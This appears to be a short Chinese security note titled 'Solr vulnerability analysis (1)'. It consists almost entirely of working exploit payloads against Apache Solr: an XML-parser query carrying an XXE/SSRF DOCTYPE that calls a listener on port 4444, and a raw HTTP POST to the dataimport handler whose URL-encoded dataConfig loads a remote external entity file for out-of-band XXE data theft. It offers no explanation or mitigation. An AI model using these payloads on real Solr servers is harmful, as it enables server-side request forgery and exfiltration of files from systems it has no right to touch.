Solr漏洞分析（一）

solr create -c test  # 创建核心test

payload:
http://localhost:8988/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}

solr create -c test  # 创建核心test

payload请求：
POST /solr/test/dataimport?_=1551604400819&indent=on&wt=json HTTP/1.1
Host: 127.0.0.1:8988
Pragma: no-cache
Origin: http://127.0.0.1:8988
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Cache-Control: no-cache
Referer: http://127.0.0.1:8988/solr/
Connection: close
Content-Length: 269

command=full-import&verbose=false&clean=true&commit=true&optimize=false&core=test&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:8082%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E